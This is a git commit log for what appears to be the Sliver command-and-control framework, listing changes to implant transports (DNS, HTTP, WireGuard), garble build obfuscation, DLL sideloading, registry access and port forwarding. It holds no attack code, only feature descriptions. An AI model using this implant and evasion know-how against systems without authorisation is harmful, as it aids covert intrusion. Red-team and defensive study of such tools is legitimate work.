moloch-- ea6a17c3e6 Updated Go/Garble v1.16.4 2021-05-11 07:35:42 -05:00
Joe 1c62152827 Update README.md 2021-05-07 13:27:15 -05:00
Ronan Kervella 516f05622f Merge pull request #425 from BishopFox/env
Multiple improvments
2021-05-07 13:19:57 +02:00
rkervella 40cb216d5f Update comments 2021-05-07 12:13:20 +02:00
rkervella bd8229831c Add netstat for macos 2021-05-07 12:01:34 +02:00
rkervella f4d5f2be8f Update build tag 2021-05-06 16:00:19 +02:00
rkervella f4030ac3fb Update srcfiles 2021-05-06 15:18:56 +02:00
rkervella f54239d869 Remove useless file 2021-05-06 15:17:32 +02:00
rkervella 714d75edfd Revert filename change 2021-05-06 15:17:23 +02:00
rkervella fb773e8ddf Set filename to arch specific format 2021-05-06 14:47:53 +02:00
rkervella b37b6c3f84 Add process owner for Darwin ps 2021-05-06 13:48:03 +02:00
rkervella c8d186c9ba Add command line argument support for Darwin and Linux for the ps
command
2021-05-06 11:07:52 +02:00
rkervella 5de3b3fca5 Move msg to the end to avoid compat issues 2021-05-03 15:34:20 +02:00
rkervella f1e0af5453 Add unsetenv command 2021-05-03 14:47:01 +02:00
Joe 672c0e29d0 Merge pull request #424 from BishopFox/stage
DNS Fixes
2021-05-02 12:42:05 -05:00
moloch-- 4e0cd2b5e7 Minor tweaks to PR, reduced retry sleep to 250milli 2021-05-02 11:44:03 -05:00
Joe a378db33ca Merge pull request #420 from rwincey/tunnel-send-cache
Multiple Fixes
2021-04-30 23:16:18 -05:00
rwincey 28d0e445c3 Multiple Fixes
1. Recently introduced configurable implant intervals where not persistent in the current run. If a reconnect happens, the original values were sent to the server during initial handshake rather than the updated values.
2. Fixed race condition in DNS UDP server code that was not unlocking the DNS session map and thus breaking everything.
3. Removed code that was removing the DNS UDP session key stored during the initial handshake in the event that a failure happens in the middle of the handshake. This bug was uncovered due to the race condition in 2.
4. Added 1 second sleep between DNS lookup retries.
5. Removed "-" from dnsCharSet on server like was done to fix DNS related issue in the implant.
6. Add line to update the checkin time for the UDP DNS implant on each poll rather that just when a initial handshake is completed.
7. Updated ALIVE/DEAD code to check the maximum of the reconnect interval and poll interval.
2021-04-30 13:52:59 -04:00
Jane Doe 866e1cf0b6 Fetch correct remote addr when sliver server runs behind reverse proxy 2021-04-29 17:56:14 +00:00
Joe e957b41eeb Merge pull request #417 from BishopFox/stage
Merge Tunnel Cache PR
2021-04-28 19:45:31 -05:00
moloch-- 985b213dc5 Minor refactor 2021-04-28 19:27:44 -05:00
moloch-- df33a6922f Updates with with non .zip files 2021-04-28 19:19:12 -05:00
Joe 6b5e65df3d Merge pull request #414 from rwincey/tunnel-send-cache
Tunnel send cache
2021-04-28 13:39:57 -05:00
rwincey f847e06119 Updated sliver protobuf 2021-04-28 11:17:41 -04:00
rwincey 79b56f477d Event send on closed channel 2021-04-28 10:38:22 -04:00
b0yd 54af39cc11 Merge branch 'master' of https://github.com/BishopFox/sliver into tunnel-send-cache 2021-04-28 10:32:53 -04:00
Joe 2fe0a61c70 Merge pull request #412 from BishopFox/stage
PR 410
2021-04-28 09:12:35 -05:00
moloch-- ce8f1b183e Merge branch 'master' into stage 2021-04-28 08:34:32 -05:00
b0yd a392cbe0d2 Merge branch 'master' of https://github.com/BishopFox/sliver into tunnel-send-cache 2021-04-28 09:09:17 -04:00
Ronan Kervella 94384b00b9 Merge pull request #413 from BishopFox/fix/pivot
Log new pivot connection to audit log
2021-04-28 13:52:25 +02:00
rkervella 805bfda559 Log new pivot connection to audit log 2021-04-28 12:08:55 +02:00
moloch-- 781cf5c883 Vendor build by default 2021-04-27 23:08:54 -05:00
moloch-- 84cbdb8bb6 Removed unused code 2021-04-27 20:38:13 -05:00
moloch-- f3550619f5 Merge branch 'pr/410' into stage 2021-04-27 20:31:55 -05:00
Joe b79b37df7e Merge pull request #410 from rwincey/dns-interval
Update Reconnect & Poll Intervals - DNS failure bug fix
2021-04-27 20:31:42 -05:00
moloch-- 950e970c91 Update protobuf 2021-04-27 20:30:06 -05:00
rwincey 1a32f5c173 Fixed meta data for debug messages 2021-04-27 16:23:48 -04:00
rwincey 7dc663f7c7 Fixed config meta data that was missing for debug 2021-04-27 16:14:40 -04:00
rwincey 7cbec86c3d Shell & DNS implant reliability
1. Fixed bug in DNS implant dictionary. It appears a nonce that ends in "-" is invalid and thus creates substantial dataloss in the comms. Removed this from the DNS charset.
2. Added send cache to server rpc tunnel to allow for resending of messages in the event that a packet is lost. Added additional field for tracking send and recv sequence numbers to the tunnel data struct.
3. Added mutex to implant tunnel handler since multiple shared data structures were being accessed and modified in parallel and causing issues.
3.
2021-04-27 15:36:23 -04:00
rwincey 77376fc592 Merge branch 'master' of https://github.com/rwincey/sliver 2021-04-26 12:53:27 -04:00
rwincey 5c59e1fdef Added ability to view and set reconnect and poll intervals 2021-04-26 12:53:22 -04:00
b0yd 6a96b35de6 Added code to drop out of DNS Poll limit on 3 concurrent request errors 2021-04-23 09:34:49 -04:00
Joe 6c02971b54 Merge pull request #408 from BishopFox/stage
Added support for path prefixes in HTTP C2
2021-04-22 17:45:57 -05:00
moloch-- a23da07fb8 Added support for path prefixes in HTTP C2 2021-04-22 16:22:20 -05:00
Joe 6ddf846bc7 Merge pull request #407 from BishopFox/stage
Fix Upload Encoder / Improved Error Handling
2021-04-22 11:10:35 -05:00
moloch-- 8c27bd6b1f Avoid name confusion in upload handler 2021-04-22 10:07:42 -05:00
moloch-- 308c6952dc Properly handle upload encoder, improved error handling 2021-04-22 09:54:33 -05:00
moloch-- 7361e50a00 Updated garble 2021-04-22 08:45:25 -05:00
moloch-- 21aebb9c7e Merge branch 'master' into stage 2021-04-22 08:20:52 -05:00
Ronan Kervella ba43f1d83b Merge pull request #403 from BishopFox/fix/dnscrash
Ensure dnsSession is not nil before using it
2021-04-21 11:33:20 +02:00
rkervella e4bdad20df Ensure dnsSession is not nil before using it 2021-04-21 09:21:48 +02:00
moloch-- 8c749d4b9c Added more ascii banners 2021-04-17 11:06:29 -05:00
moloch-- d0a85da671 Generate accepts Go's amd64/386 args 2021-04-16 07:07:18 -05:00
Ronan Kervella 32a3305e44 Merge pull request #398 from BishopFox/stage
Add WG config to implant profiles
2021-04-15 12:56:56 +02:00
rkervella 8bfca6abe7 Only display errors in debug mode 2021-04-15 12:31:21 +02:00
rkervella f750575105 Fix wg config in implant profiles 2021-04-15 12:16:27 +02:00
rkervella e8bda7e111 Fix missing wg config in stage-listener 2021-04-15 11:35:33 +02:00
Joe 63b90eb212 Merge pull request #397 from BishopFox/stage
Added --save flag to wg-config
2021-04-14 19:31:23 -05:00
moloch-- 415ab63a7c Added --save flag to wg-config 2021-04-14 19:06:02 -05:00
Ronan Kervella d927160d52 Merge pull request #396 from BishopFox/stage
Stage
2021-04-14 20:36:19 +02:00
rkervella 5cd0d54e95 Merge branch 'master' into stage 2021-04-14 20:14:42 +02:00
rkervella b457674d2e Fix Makefile 2021-04-14 20:14:12 +02:00
Joe bd141ac51f Update README.md 2021-04-13 17:50:53 -05:00
Ronan Kervella 7f92148109 Merge pull request #395 from BishopFox/stage
Set meaningful flags for format and limit-fileexists
2021-04-13 16:49:45 +02:00
rkervella f7dd928511 Set meaningful flags for format and limit-fileexists 2021-04-13 16:25:40 +02:00
Joe 675e289ab3 Merge pull request #393 from BishopFox/portfwd2
Portfwd
2021-04-13 07:13:01 -05:00
Ronan Kervella 5033794a8d Merge pull request #394 from BishopFox/test/codeql
Re-enable codeql scanning on master PRs
2021-04-13 13:43:53 +02:00
rkervella 0564c685f3 Re-enable codeql scanning 2021-04-13 13:18:45 +02:00
rkervella 601752d7a0 Allow version override to make codeql happy 2021-04-13 13:17:28 +02:00
rkervella 112a338d07 Codeql workaround attempt #1 2021-04-13 12:48:15 +02:00
moloch-- e9eefae46c Fix transport check in portfwd 2021-04-12 22:47:25 -05:00
moloch-- 4ce79a6dd0 Added warning to 3389 forwards 2021-04-12 22:19:45 -05:00
moloch-- e26802989e Added warning to 3389 forwards 2021-04-12 22:19:09 -05:00
moloch-- 77eea586cc ActiveSession Get->GetInteractive 2021-04-12 22:16:13 -05:00
moloch-- c26eae1776 Merged master 2021-04-12 21:45:56 -05:00
Joe df570f7711 Merge pull request #383 from BishopFox/wg-portfwd
Add socks and port forwarding to the Wireguard C2 transport
2021-04-12 07:14:20 -05:00
rkervella e8b60f1fbd Add missing protobuf files 2021-04-12 13:06:51 +02:00
Ronan Kervella 8ced159505 Merge pull request #391 from BishopFox/fix/namedpipe
Fix named pipe listener to accept remote clients
2021-04-12 13:03:53 +02:00
rkervella cace8d0f73 Fix go.mod and go.sum 2021-04-12 12:35:50 +02:00
rkervella ae2219dfb9 Fix go.sum 2021-04-12 12:28:03 +02:00
rkervella d4b3ec9dac Add github.com/lesnages to GOPRIVATE 2021-04-12 12:17:18 +02:00
rkervella 8a6a6424a5 Merge branch 'master' into wg-portfwd 2021-04-12 12:11:45 +02:00
rkervella a54eba95ef Fix named pipe listener to accept remote clients 2021-04-12 11:52:54 +02:00
Joe 92a188d934 Update README.md 2021-04-11 10:33:13 -05:00
moloch-- e0962c711c Merged master 2021-04-11 09:51:21 -05:00
Joe 9343b2a2ce Merge pull request #390 from BishopFox/stage
Upgrade Go / Protobuf / gRPC
2021-04-11 09:33:22 -05:00
moloch-- 55674a16fd Removed protoc steps from workflows 2021-04-11 09:08:22 -05:00
moloch-- a5e1de966e Updated gitignore, makefile seperates pb from normal builds 2021-04-11 09:05:59 -05:00
moloch-- 6637f3932c Commit pb.go files 2021-04-11 08:59:00 -05:00
moloch-- 547e33c65a Updated vendor/ 2021-04-11 08:58:39 -05:00
moloch-- 809dedc98f Update macos build workflows 2021-04-11 08:53:01 -05:00
moloch-- 09b699dcdb Make protoc 755? 2021-04-11 08:47:36 -05:00
moloch-- 6965035f64 Make protoc +x? 2021-04-11 08:45:27 -05:00
moloch-- 69da0435cc Update workflows with new pb/grpc build 2021-04-11 08:39:25 -05:00
moloch-- ddcc90836e Merge remote-tracking branch 'origin/protobuf' into stage 2021-04-11 08:20:35 -05:00
moloch-- a6545161c0 updated vendor/ 2021-04-11 08:15:34 -05:00
moloch-- 3e7217ece9 Updated golang / protobuf / grpc deps 2021-04-11 08:15:25 -05:00
Ronan Kervella 5707fe7bc6 Merge pull request #389 from BishopFox/test/wireguard-c2
Add wireguard C2 tests
2021-04-10 14:38:16 +02:00
rkervella 579a82c23b Remove checkout option, no longer necessary 2021-04-10 14:02:14 +02:00
rkervella fdd0d036f2 Only scan implant and server code 2021-04-10 13:58:16 +02:00
rkervella c77a0c0615 Add wireguard C2 tests 2021-04-10 13:45:47 +02:00
Ronan Kervella c032c0839a Merge pull request #388 from BishopFox/rkervella/issue384
Fix limit related issues
2021-04-10 12:23:40 +02:00
rkervella 1d2d1c1f9d Feature --limit-fileexists is broken
Fixes #384
Fixes #385
2021-04-10 12:07:43 +02:00
Ronan Kervella 69133c1b27 Merge pull request #381 from BishopFox/wg-rpc
Fix missing net import
2021-04-10 12:00:47 +02:00
moloch-- d56de497b0 removed extra 'v' in version 2021-04-09 21:11:31 -05:00
Joe 88f72a7cbd Merge pull request #387 from BishopFox/stage
Added server-side name validation to rpc.UpdateSession
2021-04-09 15:19:14 -05:00
moloch-- cfd390b677 Added server-side name validation to rpc.UpdateSession 2021-04-09 14:44:33 -05:00
Joe 16da415f3c Merge pull request #386 from BishopFox/stage
Add CN for operator leaf cert for picky clients
2021-04-09 14:16:34 -05:00
moloch-- baab7d86c7 Add CN for operator leaf cert for picky clients 2021-04-09 13:40:14 -05:00
rkervella 343296d087 Add detailed help 2021-04-09 18:28:39 +02:00
rkervella 7a2764dc6f Update vendor 2021-04-09 16:07:32 +02:00
rkervella 95fd407b6e Reverse Socks and Portfwd through wireguard working 2021-04-09 16:06:51 +02:00
rkervella 3f3e4ee391 Don't set promiscuous mode 2021-04-08 17:59:05 +02:00
rkervella cc7c5a0e86 Add missing import for wg c2 2021-04-08 17:19:25 +02:00
rkervella cef4c280a0 Merge branch 'master' into wg-rpc 2021-04-08 17:15:47 +02:00
rkervella 5e0b8d4901 SetPromiscuous mode 2021-04-08 17:14:38 +02:00
Ronan Kervella 85afff9193 Merge pull request #379 from BishopFox/wg-rpc
Add a new RPC to generate a wireguard client configuration
2021-04-08 17:14:12 +02:00
rkervella 0364b677ca Don't import fmt when not needed 2021-04-08 16:57:35 +02:00
rkervella bb9cb861ef Add missing files 2021-04-08 16:41:21 +02:00
Joe 33ffca6a43 Merge pull request #378 from BishopFox/stage
Improved CLI UX
2021-04-08 09:38:04 -05:00
moloch-- 64ab365c03 Fix lport flag type, added echo arg to asset setup 2021-04-08 09:22:41 -05:00
rkervella 1e64de8430 Add support for hostnames 2021-04-08 16:16:48 +02:00
moloch-- 0deebe53c9 Improved cli ux 2021-04-08 09:06:56 -05:00
moloch-- f61648c62d Perform standard asset init steps on daemon mode start 2021-04-08 08:51:11 -05:00
moloch-- 2a0b9190ba Merge branch 'master' into portfwd2 2021-04-08 08:34:19 -05:00
Joe deef600aff Merge pull request #377 from BishopFox/stage
Re-add Daemon Mode to CLI
2021-04-08 08:31:54 -05:00
moloch-- 6071ac85db Non-zero exit code on daemon start failure 2021-04-08 08:17:46 -05:00
moloch-- 479e062906 updated vendor/ 2021-04-08 08:07:01 -05:00
moloch-- d218081072 updated vendor/ 2021-04-08 08:02:48 -05:00
rkervella e79b8213a5 Add GenerateWGClientConfig RPC 2021-04-08 14:52:55 +02:00
Ronan Kervella d81a647477 Merge pull request #376 from BishopFox/wg-fixes
Replace Panic calls with Errorf
2021-04-08 14:18:06 +02:00
rkervella 67e742381d add format to format string 2021-04-08 13:21:46 +02:00
rkervella a50fd655ce Handle error 2021-04-08 13:11:33 +02:00
rkervella ba8f52e07b Don't panic in case of errors 2021-04-08 13:08:51 +02:00
Joe 8930250272 Update README.md 2021-04-07 14:50:01 -05:00
moloch-- 7cc5545363 Updated vendor/ 2021-04-07 08:31:30 -05:00
moloch-- f6de8a0ddc Merged master 2021-04-07 08:30:25 -05:00
moloch-- d45abfae78 Remove unused const 2021-04-07 08:27:15 -05:00
Ronan Kervella c91bcb6f14 Merge pull request #375 from BishopFox/update-vendor
Update vendor
2021-04-07 15:26:44 +02:00
rkervella 87bbe0d10c Update vendor 2021-04-07 14:59:42 +02:00
Ronan Kervella 8e8428bd7c Merge pull request #363 from dzflack/wg-transpor-pr
Add support for wireguard transport
2021-04-07 14:56:35 +02:00
Zack Flack 1a85e397a9 move netstack package to server directory 2021-04-07 19:51:26 +08:00
Ronan Kervella 8dccad2656 Merge pull request #374 from BishopFox/rkervella/issue365
Listing enabled pivots
2021-04-07 13:24:31 +02:00
rkervella 40fd4423ae Add help and current session support 2021-04-07 12:34:24 +02:00
rkervella ea7632c7c5 Listing enabled pivots
Fixes #365
2021-04-07 12:29:41 +02:00
Zack Flack 1a4db2352f fix logging calls, improve error handling 2021-04-07 18:27:10 +08:00
Zack Flack 843ee11f73 add additional wg help, make wg callback ports configurable 2021-04-07 18:27:10 +08:00
Zack Flack 599956fc94 move wg ip logic to server/generate package and add RPC 2021-04-07 18:27:10 +08:00
Ronan Kervella 613aaba352 Merge pull request #373 from BishopFox/rkervella/issue368
ProcessList with sessionID on windows
2021-04-07 12:01:04 +02:00
rkervella 71e10e59d0 ProcessList with sessionID on windows
Fixes #368
2021-04-07 11:09:17 +02:00
moloch-- 065c0c2f23 Implemented portfwd rm and drain peeked conn 2021-04-06 09:52:34 -05:00
Ronan Kervella 1a5335ab9e Update CONTRIBUTING.md 2021-04-06 11:12:52 +02:00
moloch-- 507675ac97 Cleaner ux 2021-04-05 20:21:25 -05:00
moloch-- b3908cb6ed Added core mgmt code for proxies 2021-04-05 19:45:37 -05:00
moloch-- 0aef00efd6 Fixed write length nil value bug 2021-04-05 17:52:15 -05:00
moloch-- 5803d422f9 Mostly working 2021-04-05 16:27:10 -05:00
moloch-- 37d2f610d4 Added --remote flag 2021-04-05 15:56:27 -05:00
moloch-- 516f464b0f added implant side code and client cmds 2021-04-05 15:46:18 -05:00
moloch-- 5295e5be6f Server/client compiles ... 2021-04-05 14:35:26 -05:00
moloch-- 66e628ecf6 Outline of client-side portfwd 2021-04-05 12:29:13 -05:00
Ronan Kervella 0a4fd12bc7 Merge pull request #371 from BishopFox/fix-spawndll
Fix improper use of debug/pe
2021-04-02 09:18:00 +02:00
rkervella 476240fb02 Use pe.NewFile instead of pe.NewFileFromMemory
Force kill on sideload/spawndll for extensions
2021-04-02 08:51:20 +02:00
Joe 6b02f195ac Merge pull request #369 from BishopFox/stage
GPG Signed Releases
2021-04-01 09:10:29 -05:00
moloch-- aafd9ef827 backwards compatible file names 2021-04-01 08:18:24 -05:00
moloch-- 82b9c5f8c3 Added mkdir -p release/ 2021-04-01 08:10:57 -05:00
moloch-- 10bc6095ea updated autorelease workflow to gpg sign artifacts 2021-04-01 08:09:35 -05:00
moloch-- 55bd75c377 updated vendor/ 2021-04-01 07:49:41 -05:00
moloch-- cc6eb54844 Added gpg public key 2021-04-01 07:49:25 -05:00
Zack Flack 8ce1732e90 add fadditional comments 2021-04-01 18:21:34 +08:00
Zack Flack 85f5a11e8d fix log formatting errors 2021-03-30 19:30:32 +08:00
Zack Flack aeeccbd64d add support for wireguard transport 2021-03-30 17:59:26 +08:00
Ronan Kervella 9508092f11 Merge pull request #362 from BishopFox/kill
Rework the force flag for `kill`
2021-03-29 17:44:20 +02:00
rkervella 3ce83c049a Rework the force flag for kill 2021-03-29 17:11:52 +02:00
Ronan Kervella 8e23f3b425 Merge pull request #361 from BishopFox/rkervella/issue359
Fix for #359
2021-03-25 12:25:18 +01:00
Ronan Kervella 200573c2e8 Merge pull request #360 from BishopFox/sideload
Add keep-alive switch to sideload and spawndll
2021-03-25 12:24:57 +01:00
rkervella f41a163d3a Refactor 2021-03-25 12:03:46 +01:00
rkervella c6d7ab07d0 ps fails in linux environments using NSS
Fixes #359
2021-03-25 11:59:58 +01:00
rkervella 9d51f18670 Add keep-alive switch to sideload and spawndll 2021-03-25 11:43:55 +01:00
Joe 58a56a077f Merge pull request #356 from BishopFox/static-build
Force static build
2021-03-23 17:19:59 -05:00
rkervella 674be86f89 fix linux build 2021-03-23 14:23:04 +01:00
rkervella 7444c3d926 fix linux build 2021-03-23 14:22:33 +01:00
rkervella 606effa1b1 Force static build 2021-03-23 13:36:27 +01:00
Ronan Kervella 742ae73a12 Merge pull request #355 from BishopFox/fix/execute-assembly
Fix message type
2021-03-21 11:08:04 +01:00
rkervella 2f880d99ee Fix message type 2021-03-21 10:25:35 +01:00
Joe d836e2be17 Merge pull request #354 from BishopFox/stage
Improved Cleanup
2021-03-18 10:30:13 -05:00
moloch-- 1367d1b714 Modify go dir permissions to ensure a clean removal 2021-03-18 09:00:46 -05:00
Joe a9639b0873 Merge pull request #350 from BishopFox/registry
Add windows registry operations
2021-03-15 19:59:38 -05:00
Joe abac7067fa Merge pull request #351 from BishopFox/stage
Garble Update
2021-03-15 19:59:20 -05:00
moloch-- 53b57c8cf9 Added missing gcc 32-bit lib to github actions 2021-03-15 18:49:46 -05:00
moloch-- d86661a060 Expanded unit tests to cover linux shared library builds and windows service builds issue #348 2021-03-15 15:27:00 -05:00
moloch-- 75ee37fd2e Updated go to v1.16.2 and garble 2021-03-15 14:59:03 -05:00
rkervella 3921a192b6 Fix OpenRemoteKey 2021-03-12 14:11:47 +01:00
rkervella e77aa319bb Registry read/write/create ok 2021-03-12 13:28:56 +01:00
rkervella 375376813a Merge branch 'master' into registry 2021-03-12 10:06:41 +01:00
rkervella 743973c9a7 WIP Registry 2021-03-12 08:52:05 +01:00
Joe 9beb445a3d Merge pull request #347 from tututu-patch/master
Fix cannot find 'nm'
2021-03-11 08:30:42 -06:00
rkervella ce8cc8ce1d WIP registry operations 2021-03-11 14:32:53 +01:00
突突兔 6259c2aa30 Fix cannot find 'nm'
https://github.com/BishopFox/sliver/wiki/Stagers

I encountered this error when generating stagers. I located this location through the log and the environment variable was not added, which resulted in the nm not being found.

^[[36mINFO^[[0m[2021-03-11T02:50:45+01:00] [sliver/server/gogo/go.go:203] --- stdout ---

^[[36mINFO^[[0m[2021-03-11T02:50:45+01:00] [sliver/server/gogo/go.go:204] --- stderr ---
# runtime/cgo
collect2: fatal error: cannot find 'nm'
compilation terminated.
2021-03-11 09:59:43 +08:00
moloch-- 5dc2882ae2 Added a 'go mod vendor' call to Dockerfile to avoid misaligned vendor/ 2021-03-08 08:07:28 -06:00
Ronan Kervella f456a256aa Merge pull request #344 from BishopFox/go-donut
Go donut
2021-03-08 13:32:18 +01:00
rkervella 7d47fe3920 Remove pie flag for executable: breaks stuff on FreeBSD and is on by default on Windows anyway. 2021-03-08 12:58:15 +01:00
rkervella b56397b3d1 Merge branch 'master' into go-donut 2021-03-08 12:31:05 +01:00
rkervella bebacb4749 Update vendor 2021-03-08 12:29:50 +01:00
Ronan Kervella a37846c43d Merge pull request #343 from BishopFox/env
New SetEnv RPC
2021-03-08 12:28:14 +01:00
rkervella 59fd8ccf36 Fix merge with master 2021-03-08 12:27:37 +01:00
rkervella 3f88b65868 Update getSliverShellcode 2021-03-08 11:48:15 +01:00
rkervella 45ee2fce8b Fix merge errors 2021-03-08 11:42:17 +01:00
rkervella 13199510ef Merge branch 'master' into go-donut 2021-03-08 11:34:50 +01:00
rkervella 13fad6e0aa Move GetEnv to generic handlers, add SetEnv RPC and command 2021-03-08 11:19:47 +01:00
Joe c8deada97d Merge pull request #342 from BishopFox/stage
Canaries / Windows Garble Unpack
2021-03-07 11:10:38 -06:00
moloch-- a62e3e463a Fix garble unpack for windows 2021-03-07 10:13:10 -06:00
Joe 5bb75f4189 Merge pull request #340 from BishopFox/fix/canaries
Fix/canaries
2021-03-06 15:03:11 -06:00
moloch-- c9b1cdd3ba Re-implemented un-obfuscated canaries 2021-03-06 15:00:02 -06:00
moloch-- c6e384508c small refactor, removed any string consts 2021-03-06 14:33:22 -06:00
moloch-- 428e9a5047 MacOS SDK still not updated, disable arm64 builds 2021-03-06 12:10:15 -06:00
moloch-- ee70e1054d Re-abled mac-arm64 release/publish 2021-03-06 12:01:03 -06:00
moloch-- 5dc6dd6222 Added arm64 files gitignore/make clean 2021-03-06 11:58:53 -06:00
Joe dc624a2307 Merge pull request #338 from BishopFox/stage
Garble & Fixes
2021-03-06 11:45:46 -06:00
moloch-- f3a6d0a815 Added a CN to the Operator's CA for fix compatibility issues with Node/OpenSSL 2021-03-06 11:24:45 -06:00
moloch-- c868ca837c Added winio/etc to go-mod and go-sum 2021-03-06 09:36:33 -06:00
moloch-- 726b0eea8d Fix race in defer'd client event stream cleanup and fix players command issue #337 and issue #333 2021-03-06 08:25:21 -06:00
moloch-- 2b1be17eb2 Merge branch 'fix/broker' into stage 2021-03-06 07:45:56 -06:00
moloch-- 67afd7f6b7 Added implant-side ping writes on interval issue #311 2021-03-06 07:38:35 -06:00
moloch-- 8088fd6b16 Enabled darwin screenshot on sharedlib builds 2021-03-06 06:53:25 -06:00
moloch-- 132aa415a8 Added GoSum, remove renderer for go.mod 2021-03-05 21:33:01 -06:00
moloch-- 8b3c926b3a Added golang.org/* to GOPRIVATE/garble 2021-03-05 20:34:24 -06:00
moloch-- f5a3c5724d Removed 3rd patry assets 2021-03-05 20:20:26 -06:00
moloch-- d72c1d2a12 Implemented GOMODCACHE to avoid download per-build mods 2021-03-05 19:40:35 -06:00
moloch-- 4cf6086092 Unit tests pass 2021-03-05 17:11:23 -06:00
moloch-- 64bb7e6b74 Refactored implant/sc -> implant/screen and made it buildable without CGO 2021-03-05 16:27:49 -06:00
moloch-- 6c7e9cc1de Updated vendor/ 2021-03-05 14:35:14 -06:00
moloch-- fd3f4052ce Removed gobfuscate/ 2021-03-05 14:32:25 -06:00
moloch-- 18df30e18a Set GOPRIVATE on garble builds 2021-03-05 13:15:14 -06:00
moloch-- 9d24393389 Garble builds working 2021-03-04 21:48:21 -06:00
moloch-- 10710b3882 DataDir -> DllDir 2021-03-04 21:01:08 -06:00
moloch-- 1839d13bfb Unpack garble 2021-03-04 20:48:56 -06:00
moloch-- 523ab5481f Download garble and bundle with assets 2021-03-04 20:36:47 -06:00
moloch-- a206478771 go mod vendor/ 2021-03-03 15:42:40 -06:00
moloch-- 3ae6b317e5 Merge branch 'stage' into fix/broker 2021-03-03 12:19:58 -06:00
moloch-- 162e3cb67e Add locks to event broker 2021-03-03 12:19:23 -06:00
Joe 424e7001c2 Merge pull request #334 from BishopFox/stage
Improved logging
2021-03-03 11:21:38 -06:00
moloch-- c0aa5920cc Implemented audit log of commands and events 2021-03-03 10:57:23 -06:00
moloch-- 1655eb944a Added panic log handlers 2021-03-03 09:43:53 -06:00
moloch-- 63bbb53d9a fixed parameter names 2021-02-26 18:20:28 -06:00
moloch-- 48ca03e4f8 Updated dockerfile to v1.16 2021-02-22 16:23:55 -06:00
moloch-- b95c9ed030 Update short name flag to -N to avoid conflict issue #321 2021-02-20 09:27:08 -06:00
Ronan Kervella 6d2fbf2eea Merge pull request #332 from BishopFox/devcontainers
Ignore devcontainers
2021-02-20 12:32:18 +01:00
rkervella 23312ac3f7 Ignore devcontainers 2021-02-20 12:31:21 +01:00
moloch-- f39a2b240d Removed arm64 builds from github actions since they're trash 2021-02-16 21:33:45 -06:00
moloch-- d2ec4a0bec Removed arm64 builds from github actions since they're trash 2021-02-16 21:19:54 -06:00
Joe 7168dd22d7 Merge pull request #331 from BishopFox/stage
Go v1.16
2021-02-16 21:03:16 -06:00
moloch-- d564210dd7 Temp disable codeql scans 2021-02-16 20:25:55 -06:00
moloch-- 6e15b79d8e Update other workflows with vendor workaround 2021-02-16 18:34:42 -06:00
moloch-- 3b6520c33b I hate GitHub Actions... revert mod vendor cli flag 2021-02-16 17:42:17 -06:00
moloch-- 9d73932bf6 I hate GitHub Actions... remove vendor/ 2021-02-16 17:38:50 -06:00
moloch-- a865900493 I hate GitHub Actions... force vendor build? 2021-02-16 17:31:45 -06:00
moloch-- c701ab810c I hate GitHub Actions... 2021-02-16 17:17:57 -06:00
moloch-- 982d38e9db I hate GitHub Actions... 2021-02-16 16:27:31 -06:00
moloch-- ce475073be I hate GitHub Actions... 2021-02-16 16:14:25 -06:00
moloch-- 4397bb9d36 Debug GitHub Actions because they can't do anything right 2021-02-16 16:07:36 -06:00
moloch-- 26d5f2a9bd Fix yml format issue 2021-02-16 15:54:08 -06:00
moloch-- 7a8fe6a623 Updated workflows to use setup-go v2 2021-02-16 15:50:10 -06:00
moloch-- 0599d77212 Added missing file to genericSrcFiles, unit tests pass 2021-02-16 15:38:35 -06:00
moloch-- 8a0f13d178 Fixed server cli version 2021-02-16 15:29:43 -06:00
moloch-- 555f83192f Fixed missing imports for windows implant builds 2021-02-16 15:23:27 -06:00
moloch-- d1adbc4795 Added default implentation for hostuuid 2021-02-16 15:20:51 -06:00
moloch-- 9586c8e906 Fixed merge errors 2021-02-16 15:06:12 -06:00
moloch-- 6fe844f1d1 Merge of master to v1.16 branch builds 2021-02-16 14:37:46 -06:00
moloch-- 591ad0b957 Initial merge of master 2021-02-16 14:26:29 -06:00
Ronan Kervella c869eb632c Merge pull request #330 from BishopFox/darwin-ps
Print full process names on darwin for the ps command
2021-02-12 14:52:50 +01:00
rkervella 61811ed92d Fix comment 2021-02-12 14:15:46 +01:00
rkervella 106c40c2cf Full process path in ps for darwin 2021-02-12 14:03:00 +01:00
Ronan Kervella 82566ddac9 Merge pull request #329 from usiegl00/hostuuid
Host based UUID
2021-02-07 11:48:57 +01:00
usiegl00 dce29eb253 Retrieve Windows UUID from Registry 2021-02-07 09:52:45 +09:00
usiegl00 fe43536016 Updated Linux UUID Retrieval 2021-02-06 21:05:19 +09:00
usiegl00 46d430f5bd Reverted srcfiles 2021-02-06 20:30:28 +09:00
usiegl00 8978e4cfa0 Reverted String Obfuscator 2021-02-06 20:30:09 +09:00
usiegl00 c3fadbd560 Shifted UUID parsing to the server side 2021-02-06 20:25:43 +09:00
usiegl00 3255d28a22 Changed import and Added syscall info 2021-02-06 20:02:17 +09:00
usiegl00 afd6fc0e2b Updated UUID code. 2021-02-06 09:18:50 +09:00
moloch-- 9f11e090d4 fix spelling error 2021-02-05 13:36:42 -06:00
moloch-- f729306329 Remove unused packr ver from dockerfile 2021-02-05 13:35:42 -06:00
moloch-- 0e13e09191 Updated embedded assets and docker to rc1 2021-02-05 13:35:10 -06:00
moloch-- c29d05d755 Merged master 2021-02-05 13:29:33 -06:00
moloch-- b99c1dba66 Tweaks for 1.16rc1 2021-02-05 13:25:41 -06:00
usiegl00 d856e0cbda Added a UUID per host. 2021-02-03 14:06:59 +09:00
Ronan Kervella 4248d0f2bb Merge pull request #325 from BishopFox/shell-test
Remove useless loop
2021-02-01 13:35:56 +01:00
[email protected] b14b73939e Remove useless loop 2021-02-01 12:47:13 +01:00
Ronan Kervella cfed22c24e Merge pull request #323 from BishopFox/execute-fix
Add spinner for execute
2021-01-27 20:48:08 +01:00
[email protected] 8b24556fd6 Add spinner for execute 2021-01-27 20:24:26 +01:00
Ronan Kervella 408717b144 Merge pull request #322 from dzflack/feature/show-proxy-url
Show the current ProxyURL being used by an HTTP/HTTPS sliver
2021-01-25 08:26:39 +01:00
Zack Flack 95aff5b48d add ProxyURL field to sliver info 2021-01-24 18:03:32 +08:00
Zack Flack de739ed518 add ProxyURL field to proto files 2021-01-24 18:01:26 +08:00
moloch-- 44fa624f11 Merge branch 'stage' into go/v1.16beta1 2021-01-02 19:59:17 -06:00
Joe ee582686cc Merge pull request #318 from BishopFox/stage
Stage
2021-01-02 19:16:57 -06:00
moloch-- b86eac7fbe initialize CanaryDomain model issue #316 2021-01-02 18:59:02 -06:00
